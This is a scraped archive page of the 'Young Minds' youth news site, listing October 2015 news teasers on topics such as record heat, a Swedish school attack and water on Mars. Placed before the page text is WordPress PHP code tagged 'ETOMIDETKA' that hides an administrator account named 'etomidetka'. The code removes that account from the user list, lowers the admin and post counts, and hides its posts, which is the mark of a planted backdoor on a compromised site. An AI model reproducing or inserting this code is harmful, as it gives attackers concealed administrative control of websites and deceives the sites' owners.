//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 54

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 54)
2015 on track to become the hottest year ever recorded!

2015 on track to become the hottest year ever recorded!

With global temperatures increasing, it seems exceedingly likely that 2015 will be the hottest year in historical record! Scientists say that 2015 will almost …

October 23, 2015 | Main News | 0 Comments
Sweden in shock over deadly school attack

Sweden in shock over deadly school attack

Sweden has reacted with shock to the killing of a teacher and pupil at a school in the west of the country, near Gothenburg, by a sword-wielding man. Police …

October 23, 2015 | Main News | 0 Comments
Bengaluru company aims to beat Google, Facebook with tiny chip

Bengaluru company aims to beat Google, Facebook with tiny chip

A tiny chip designed in Bengaluru, the size of a postage stamp, might hold the answer to connecting India’s rural population to the internet, an …

October 20, 2015 | Main News | 0 Comments
Thousands stranded at Balkan borders

Thousands stranded at Balkan borders

Thousands of migrants have been stranded at borders in the Balkans, in cold and wet conditions, as their options for travelling north shrink.Several hundred, …

October 20, 2015 | Main News | 0 Comments
Giant Asteroid to Fly Past Earth on October 31

Giant Asteroid to Fly Past Earth on October 31

A potentially hazardous giant asteroid with an ‘extremely eccentric’ orbit is set to fly past the Earth on October 31 at over 125,529 km per hour, …

October 20, 2015 | Main News | 0 Comments
Oli sworn in as Nepal Prime Minister

Oli sworn in as Nepal Prime Minister

Veteran Communist leader KP Sharma Oli has  been sworn in as Nepal’s 38th Prime Minister, a day after he was elected in Parliament with support from …

October 13, 2015 | Main News | 0 Comments
Oil-starved Nepal seeks suppliers to bring fuel by air

Oil-starved Nepal seeks suppliers to bring fuel by air

Nepal has issued a notice seeking suppliers to bring in fuel by air or by any other means to ease the situation ahead of the biggest festival celebrated in the …

October 8, 2015 | Main News | 0 Comments
NASA scientists find evidence of flowing water on Mars

NASA scientists find evidence of flowing water on Mars

THE chance of finding life on Mars has just been given a boost with NASA announcing the discovery of flowing water on the red planet.Data from NASA’s Mars …

September 29, 2015 | Main News | 0 Comments
Modi hails social media power at Facebook HQ

Modi hails social media power at Facebook HQ

Prime Minister Narendra Modi has hailed the political power of social media, as he visited the headquarters of Facebook in California.Speaking at …

September 28, 2015 | Main News | 0 Comments
14 Indians Among Over 700 Killed In Haj Stampede

14 Indians Among Over 700 Killed In Haj Stampede

Fourteen Indians have reportedly died in the stampede outside the holy city of Mecca that killed 717 Haj pilgrims from different countries on 24th …

September 25, 2015 | Main News | 0 Comments
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds